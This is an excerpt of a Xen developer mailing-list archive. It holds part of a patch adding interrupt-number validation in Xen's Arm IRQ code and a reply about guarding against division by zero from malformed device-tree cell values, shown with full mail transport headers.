>>      ASSERT(priority <= 0xff);     /* Only 8 bits of priority */
>> -    /* Can't route interrupts that don't exist */
>> -    ASSERT(gic_is_valid_line(desc->irq));
>>      ASSERT(test_bit(_IRQ_DISABLED, &desc->status));
>>      ASSERT(spin_is_locked(&desc->lock));
>>  
>> diff --git a/xen/arch/arm/irq.c b/xen/arch/arm/irq.c
>> index 73e58a5108..0314cf0b6e 100644
>> --- a/xen/arch/arm/irq.c
>> +++ b/xen/arch/arm/irq.c
>> @@ -416,6 +416,9 @@ int setup_irq(unsigned int irq, unsigned int irqflags, struct irqaction *new)
>>      struct irq_desc *desc;
>>      bool disabled;
>>  
>> +    if ( !gic_is_valid_line(irq) )
>> +        return -EINVAL;
>> +
>>      desc = irq_to_desc(irq);
>>  
>>      spin_lock_irqsave(&desc->lock, flags);
>> @@ -647,13 +650,15 @@ static bool irq_validate_new_type(unsigned int curr, unsigned int new)
>>  int irq_set_spi_type(unsigned int spi, unsigned int type)
>>  {
>>      unsigned long flags;
>> -    struct irq_desc *desc = irq_to_desc(spi);
>> +    struct irq_desc *desc;
>>      int ret = -EBUSY;
>>  
>>      /* This function should not be used for other than SPIs */
>> -    if ( spi < NR_LOCAL_IRQS )
>> +    if ( !gic_is_spi(spi) )
>>          return -EINVAL;
>>  
>> +    desc = irq_to_desc(spi);
>> +
>>      spin_lock_irqsave(&desc->lock, flags);
>>  
>>      if ( !irq_validate_new_type(desc->arch.type, type) )
> 
> 



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 10:51:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 10:51:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359096.1612859 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8pJ-0000tB-Va; Fri, 10 Jul 2026 10:51:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359096.1612859; Fri, 10 Jul 2026 10:51:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8pJ-0000t4-T0; Fri, 10 Jul 2026 10:51:25 +0000
Received: by outflank-mailman (input) for mailman id 1359096;
 Fri, 10 Jul 2026 10:51:25 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wi8pJ-0000sy-4C
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:51:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi8pI-006iTJ-0e
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:51:24 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a50ceab-5cb7-0a2a0a5109dd-0a2a4502ea2a-0
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:51:23 +0200
Received: from [40.107.130.92]
 (helo=MRWPR03CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a50ceab-64c6-0a2a45020019-286b825c29db-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:51:23 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by GV1PR03MB10632.eurprd03.prod.outlook.com (2603:10a6:150:204::5)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Fri, 10 Jul
 2026 10:51:20 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 10:51:15 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=gPw0AnP+KIn5dEJtydbFXPhzc+V/fLlB+mTh8j97VQM1GyzvVB/MVgw5V/g/kmZEgxsuNsHhXuIeBc6uz2T43KSNzi9fgqOqZUTk9q0KUII5BcGhb4frz6rkAcrgabAI3iNBMoUMk5BforvxZ2ax+Ca6kJ2NErD8HFb4rC/n0UHxDUT2IWI+Drzrj9i0brcZqRyUhwWvM0W2DkePWAEhI/kOnbO1SUwzMX55QSz94Gq8ywuPFdjpbEnMVb/+1ufB8BiGXZybu/LGxHQYGT9kkV+9o/NGc2wBQo1kG0HDbDmpLVgcrUm6BHbr0w/1axi6zI9uex4BGh2pIOWdEM1lSw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=FfUzPe4p8eBIzVKfVsexGP00E5WYXNm4vC1mhgF3uMA=;
 b=iJkFcRf9lC2617a520wuNuHSJNgYqRhZgg+Ld3Cv73RTBBqbeF0h+MWQBVKzEazst1wk11mRHWCAv71QJXMXnZDEdTYYS+5U0B3o/z3OBrip4coO3REWWWxqjWdmkC9cCkpkspDFSkrMdqTdGGUSOHfDd7tn05zIJBKUV7qDGBKEtDb8x4GNRZA8GyNA3UZ2H7HrbyGeto9VbOIBeOH6sgQuPsDowRzlDLw5f6jxJV/8JC4xI5RyQuOc0QBUhnDPBvMUlT0BYbrScwHqpGuPuxnWXStzVUyVA5OjwlJHVg6dBDC6icGy56EJHaG3+SiQIPn3d6vbaql+q1UggHufqQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=FfUzPe4p8eBIzVKfVsexGP00E5WYXNm4vC1mhgF3uMA=;
 b=GJViQuOgLXKK6vnDDxADyjOGblSIIcz7vCUz5oKZ3edF5eWoDzknu4HyA8phN6P9SAAvFIgL+7b0FeYZCDbDsiSeZ9aEa+0us5MMfvBomhWR33W+81AzOD/r9HOkxZ4+kdCuC/+T7F/3PzaWVh4PgJSHX9aOoLDorSpjD1/h5H/LwouvUjyhqgtebRHNPKINtv8nYy4ZnVueqqWwhtOR3tbVhIh/eoG0i/ovpk2pds1Sy83rTKIDgW5Dv7R+GBSuZMwrTxuhqQ1k5LqPy9PbloL+donwid1WFjaljCct83gLdqj+Xbdj3ZKduyXnOiAXvgvz+bpQlqeTp+mVjV7C0Q==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "Orzel, Michal" <michal.orzel@amd.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>
Subject: Re: [PATCH for-4.22 v5] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22 v5] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdD57jetXi2xq2zkS8tff7r9QcYLZmWy2AgAA5pIA=
Date: Fri, 10 Jul 2026 10:51:15 +0000
Message-ID: <f0ba5b86-e15f-40a8-9335-3be303494a57@epam.com>
References:
 <7a146536c13431933899ffffc93c85724dfbaf87.1783599357.git.dmytro_prokopchuk1@epam.com>
 <a257b466-ce41-4073-b9dc-826059b9750d@amd.com>
In-Reply-To: <a257b466-ce41-4073-b9dc-826059b9750d@amd.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|GV1PR03MB10632:EE_
x-ms-office365-filtering-correlation-id: 7d421d40-05dd-42e7-06f7-08dede712a86
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|23010399003|42112799006|366016|1800799024|376014|3023799007|4133799003|22082099003|18002099003|4143699003|5023799004|56012099006|11063799006|38070700021;
x-microsoft-antispam-message-info:
 AOxXyByD4zTnxVnvwf6TZDNja6iqQrj3Lg2kkONaspgf/dUSFmXzyorxUnvVtrne/CBN6WfjUPRCHEW3G9bQYtdgugoqurDdyi95jLY6VEtD0DfECVPGRvnABHABZDKhI4EidGvG1pxxt05NEXlZiZukHMI/TljBCbIc2OaU4KL13ja4rUVzp2zEOjBvQnQOyUAqoCrBy3G8mt9RoEXNRwXfcZ85AEQPGKrQto3G6XzDfSAAF4XVob9jRPAipRD/iLfI5I0pT2DCkWGOfc8fwFEshrWDNPnSIrXBzL2f4HLAhWq3atZcX7zzAG+NJt3X2phyPdX0rbhAV31u6sqnZ3I/boUDDhdtTXzzdg4aCHpE5rAcr8fAhCpFDh0pzMNUmjxm0ec9p2iX3qY/DHm0ncf6+gZEePaRZc/53WXONhKNYkTmMVVxRX1mMaayxlFNBEX/TLk97TEJlQVA6wB57dbYZwP3rL0LlfxO6W/UBE+SMltJwm6HXnFUZRgn5bYTbj716eT/M2/QBWo2rT4DAnzYPKUjh4ewCPFjjuhnGsXhdCym1ExhPY0p/UVrhTAzJK7OwIi67U2JBsX0jAdc6rLtyFDcJzr81+AtW5It1TWxnkJzzkIdGck4fhddRdFVXWQVHH820oYMV31k0KaYc3+CfuWl4B2e/7otD3NG1yXQuPJDRoG5nXsnaP5Qdt3qnRTiWpDWRfx4e3xHKH5ei1DKYhGNAdZ2JLlbU0sZw1U=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(42112799006)(366016)(1800799024)(376014)(3023799007)(4133799003)(22082099003)(18002099003)(4143699003)(5023799004)(56012099006)(11063799006)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?ODVMWG8rQWFoYkZBVTdPazdlLzlqOGdpRDcveWtsTGZvaktRWk45WFRUR0sz?=
 =?utf-8?B?cW1PV3VDbmIyakwrc0hGMVhXdTQxWVYyeGhHYzZUUjN2MkRSN1ltUUVvaWd1?=
 =?utf-8?B?czdjdEhuS2FiMHFPeTR5azllNzVYSFd5dW1CeWhWbktGbnVUejM5MXhtQzhN?=
 =?utf-8?B?UHp2L3N1WklBbjBEVUZwcjJGTk1tcUM1VlBBNDc4bDJzeDhadG40bTlwRkR2?=
 =?utf-8?B?MDQ3NTVpN2FGYkxmeHlqR1VxVldRUFNld1Njd3J6amN4cG42dW9xNGxUY0lW?=
 =?utf-8?B?djdTVzg3WFNoVDArWGgrQ0tkVE5xc1psTzhiSk5iby9MbHpocklzQWJhVnpG?=
 =?utf-8?B?Q1pZSjRFcmpCbVE2dWxxbm5VWkhGL0Q1S2Jsc2U3MS9BM253bGtBMldSWmxn?=
 =?utf-8?B?am1XSUFIdW5nazU3VG9JdXNDT3VZRVhSazZWbDg0UjdOV3hGRm4wM1VOZmo5?=
 =?utf-8?B?ODBSNUFCdTk2Rkh3UHU3N3BvVDVvZFhrbVFVbnpRbUFpb3JXc0gvV0o1TzQz?=
 =?utf-8?B?QkRWYmh3QU5sSXFzblE2L2thTHljWjF0SXVrUHAxbHp4ODB5RzR5T05mdXhq?=
 =?utf-8?B?TktIUENiZTd3dzZZUTdzVzh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pL?=
 =?utf-8?Q?rG5B/gcKFT2kSQNs=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <3E82097BBE445F4D9E32701937F24B12@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 7d421d40-05dd-42e7-06f7-08dede712a86
X-MS-Exchange-CrossTenant-originalarrivaltime: 10 Jul 2026 10:51:15.8761
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: lI3M5T8HLMD4EuF9Sfq3BjLV9iLnriM0VMjAc1+iEiOi0lsxzzxmP+c40T9GFvOS29q9FsbwyXxsCGyMD4bA9xqBu7ArV4TYhbyx3hluXac=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GV1PR03MB10632
X-purgate-ID: tlsNG-720697/1783680683-B3F4BA87-5EBE9DD3/0/0
X-purgate-type: clean
X-purgate-size: 4484

DQoNCk9uIDcvMTAvMjYgMTA6MjQsIE9yemVsLCBNaWNoYWwgd3JvdGU6DQo+DQo+DQo+IE9uIDA5
LUp1bC0yNiAxNDozMSwgRG15dHJvIFByb2tvcGNodWsxIHdyb3RlOg0KPj4gQSBtYWxmb3JtZWQg
cGFydGlhbCBEVEIgc3BlY2lmeWluZyBib3RoICcjYWRkcmVzcy1jZWxscyA9IDwwPicgYW5kDQo+
PiAnI3NpemUtY2VsbHMgPSA8MD4nIGNhdXNlcyAnKGFkZHJlc3NfY2VsbHMgKiAyICsgc2l6ZV9j
ZWxscyknIHRvDQo+PiBldmFsdWF0ZSB0byAwLiBUaGlzIHN1bSBpcyBzdWJzZXF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Yy4pLg0KPiBWYWx1ZXMgYWJvdmUgMiBpLmUuIDMgaXMgUENJIG9u
bHkgd2hpY2ggZG9lcyBub3QgZ28gdGhyb3VnaCB0aGlzIHBhdGggYnV0IHN0aWxsLA0KPiB3ZSBz
aG91bGQgb25seSBjYXJlIGFib3V0IG5vZGVzIHdpdGggeGVuLHJlZy4NCj4NCj4gVGhlcmVmb3Jl
LCBwbGVhc2UgbW92ZSB0aGlzIGNoZWNrIGF0IHRoZSB0b3Agb2YgaGFuZGxlX3Bhc3N0aHJvdWdo
X3Byb3AoKSB3aXRoIGENCj4gY29tbWVudCBiZWxvdyAodGhlIG51bWJlciBvZiBkaXNjdXNzaW9u
cyBhYm91dCB0aGlzIHN1YmplY3QgaXMgYSBjbGVhcg0KPiBpbmRpY2F0aW9uIHRoYXQgYSBjb21t
ZW50IGlzIG5lZWRlZCk6DQo+DQo+IC8qDQo+ICAgKiB4ZW4scmVnIGhvbGRzIGZsYXQgaG9zdC9n
dWVzdCBwaHlzaWNhbCBhZGRyZXNzZXMgYW5kIHNpemVzLCBzbyB0aGUNCj4gICAqIGluaGVyaXRl
ZCAjYWRkcmVzcy1jZWxscy8jc2l6ZS1jZWxscyBtdXN0IGVhY2ggYmUgMSBvciAyLiBUaGlzIGFs
c28NCj4gICAqIGd1YXJkcyB0aGUgbGVuIGRpdmlzaW9uIGJlbG93IGFnYWluc3QgYSB6ZXJvIG9y
IHdyYXBwZWQgZGl2aXNvci4NCj4gICAqLw0KPg0KPiB+TWljaGFsDQo+DQoNCkFjay4gSSB3aWxs
IGRvLg0KDQpUaGFua3MsIERteXRyby4NCg==


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 11:15:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 11:15:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359133.1612867 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9CE-000429-Ss; Fri, 10 Jul 2026 11:15:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359133.1612867; Fri, 10 Jul 2026 11:15:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9CE-000422-PN; Fri, 10 Jul 2026 11:15:06 +0000
Received: by outflank-mailman (input) for mailman id 1359133;
 Fri, 10 Jul 2026 11:15:06 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wi9CE-00041w-4p
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:15:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi9CD-006nsZ-Hf
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:15:05 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50d435-bab6-0a2a0a5309dd-0a2a450983e6-10
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 13:15:05 +0200
Received: from [52.101.72.112]
 (helo=AM0PR02CU008.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50d439-b440-0a2a45090019-346548702a61-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 13:15:05 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by DB9PR03MB8328.eurprd03.prod.outlook.com (2603:10a6:10:390::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 11:15:02 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 11:15:02 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=dRATEPBz3NUDozlP4FNiYYg0p2WRXo2ivJnmySK6+hKiJUVYZEFcqM4sCgLqPFaFMuXKvV4iHsZjUd6zpjOd3YT9V+bdjIX4+O9gJH/0gbA2QeePzd74XjIHa7d6cVPevjDbTyBlNnBSIwHV6dZU2jzTt0gGcikMzpRW9J01dpTb1nx/gnEuQCFylG8tlu/iZ8+Xmb/4xk1//POWEcdpGWO4w0rYyyJ0TijNqM7rNCRu51TaV4KQzN9ekJ/+NiIMIOG7SLmlaNzDOicyOl2YmBeEyNW5XNDvHFFaWj70ca+scJ1rw8f94ondGlDqT6O2eIF7tY3rHpuVx1vxWANEGg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=45ratonVk2tVXCIJ3ujuHUvmUB/gpD29pdHydCdOuQc=;
 b=QwASoHnvLik9sdikpdX8K0Q2HDnBfXJGrNq8lXH4yDRgDqC/rQ1ZVKFjMI5iV1dgJj93fwn3CKRge/NdlnvlagGFdqYPmItQNfX2oMLH75GTdZD5lBo0Wc/2073Y6u99ozNvVkDT1enHuZHcBV/tzT4nCb8Bm2Cqlw/8tBhsnrL5av471dIfXpinFd1VI8IwdAaCm+xsxUPR+MAUlDXCFsdsSRKK2sLorNU684LAZO8d954G5nX9gfjSIth7fzmZhtcU7UPAQWNQ8iefQLsc5JcPomXwP1Kng9ehsVVsJYKlWkh+cZ/DjlAUxn7ia/W/cCpJ19LmnvOfHnHvdvEsCw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=45ratonVk2tVXCIJ3ujuHUvmUB/gpD29pdHydCdOuQc=;
 b=ZcS6GwkJFQZUQWxB33xIQXDXXde1mLrKz6xyzs502bgwFXM8d4FZrPQk1xvVazOzfYhDcIQAMStNb8/Ab3lKAWLHVHK4MobwY9F75JejZ57ZEMkv1l1NhreEk+qokxEeOvxwLrmxETx37SASXAcQVd8zvpNvwki5ILO+ncdQqT/mfzIQ69t6hnCvV4wc7VS8RZTA0VPlMx9RaUwCHX9LJCX+I7jr85ym5MIJ5U5cla3jQ6r8/dl8ntGbmk+JThMkYZ/c4I+gfv8ispbnb6aWVNzrIh02rg4j0JWzYjj3nU7qAC/vXEAyRHZe1UUh7dXeLYGlpziiar/uBvefF/SPHg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
Date: Fri, 10 Jul 2026 14:14:58 +0300
From: Mykola Kvach <mykola_kvach@epam.com>
To: "Orzel, Michal" <michal.orzel@amd.com>
Cc: xen-devel@lists.xenproject.org, 
	Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, 
	Bertrand Marquis <bertrand.marquis@arm.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor
 lookup
Message-ID: <5gpmoe7cng53rxtxmldvjwe3dnbenoji6anyqy4uxado354hfp@tkdo7pmufaor>
Mail-Followup-To: "Orzel, Michal" <michal.orzel@amd.com>, 
	xen-devel@lists.xenproject.org, Stefano Stabellini <sstabellini@kernel.org>, 
	Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, 
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
 <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
 <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
X-ClientProxiedBy: WA1P291CA0015.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:19::13) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|DB9PR03MB8328:EE_
X-MS-Office365-Filtering-Correlation-Id: 3794f3f4-e555-40cc-1f78-08dede747cc0
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|23010399003|1800799024|22082099003|18002099003|11063799006|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
	ekohvUJymxbQMikARcy5lfd3w6J5duBLcJZTe8TlVlN0jfnC5BoZGcYHp6jyxuu6QLPfP91TuMpzhVL1RDy0LAEB7H4InxqROqf6IrMojen2rVqZiR3flRo+9GN47SewLN7Tzcag9/R1Bh5PARP3436i4Or6sJkThOxq1zx/U2NLQII0bFmLoCXSXHx0urwnO5Ed61ipht3150P7qiEv8+bGHMyxclqtXbxk7pwUZHYwf+9aacGZbp682nBHqxTYEAo7d39ZXikBlO5AO18X6fhh1k6DTmhuheZQQ/hX4voh909wgf5BhVVo/9ODwk9tBYbvbvaOJQJLk6VXuSOgzV6xkk5pypf+Z9p55Tohc87lpeSg6Jj8VUEBjhZx25/8+fYY7WiW+fyOwbnCZv5WYItNtYWG/FTvdGjraHHeNVbhDw2XsnfzXDUYIE/HcP8w7gF7CKkWjXL2QMC9FBVEOujq6a9oFen8tLqNigx1c8gJWw3HNKlMX9F3BlbQzR1QfJRg9Nrft4Bz2K2z45Ir59GZ7zlUONRT9guzmbhsmuEpVydBBFheP0FrditIYaW+6PcF7gbSN4NEz1QIj0HO2GoOF653bJ6vlB8JyIxfX4sk5sSPKFKVBXe1l8uTxkyJNyoFCx7aMyw+If37qoLZFw+S4VpbC7tzbXmexYt+o1M=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(23010399003)(1800799024)(22082099003)(18002099003)(11063799006)(4143699003)(56012099006);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?M1pmTDVYNGlHbTc4WEI4WlhyMFRKS3N0ai9EbWUzcHlnL2dFOXFGK3ZnQ1B5?=
 =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k0rbjZWNHhwT0plTnpJ?=
 =?utf-8?B?ZkJrZ1F0RHZEZTJndlR3NVIrK0E0Q2RpRG4rNWVtcm1YUXBHSmJPb2tFbUxl?=
 =?utf-8?B?ajhpdTJ4U24vY1BSS0NNQ2g1eVVLUGZaWk1acllwc04xUHZ3Ukt6Q3FZV29o?=
 =?utf-8?B?RVBVOHJkTkhXU1RXT2RsT3RGTzFNenZPTWtmY3dETEpidC9Cd0JLd1Bsd1FT?=
 =?utf-8?B?UmxOUENhZXdGL1hRdXJQNTRtakwybnpwdEdRZnNZcWRpR0pOYVZhL0ZsTVN1?=
 =?utf-8?B?WUl4OXhNVWw3NWcwOW9ZenlGK3dtRk1KQTNrL3dRQ0hhZVpUN1l1SFFxOWtm?=
 =?utf-8?B?cHVYbFRTeWVQdDYyZHNQRXc3NUM5VVhjYVcrTC9VSWN5Myt5NTNPdzFkbUJD?=
 =?utf-8?B?bG95ajVRZnZLTC9ienY3YkxhbGR3cWNBQjhMWllUdnpoNStIamI2Ly9pR1lJ?=
 =?utf-8?B?MGpOU3BxM2tYU1NLc1RPYkE2YkZ5WEFnd2NVaEhCbzV5TDI2eGJpd3JpSEMx?=
 =?utf-8?B?UldKRUVYeVpCdmphNUwySEMzS3RJWlBrTG1QVndEK2xnLysvblF5UT09?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 3794f3f4-e555-40cc-1f78-08dede747cc0
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 11:15:02.5503
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: lFMvMrQ+33liCVAkz/8kiqDyWnrmIP8zlWHtb3ZfFFSru7+aLTC68ring7Sud+pq/e97ryfENUO7GsD4D4QXLQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DB9PR03MB8328
X-purgate-ID: tlsNG-bad1c0/1783682105-56F6EA0B-9A77B350/0/0
X-purgate-type: clean
X-purgate-size: 2056

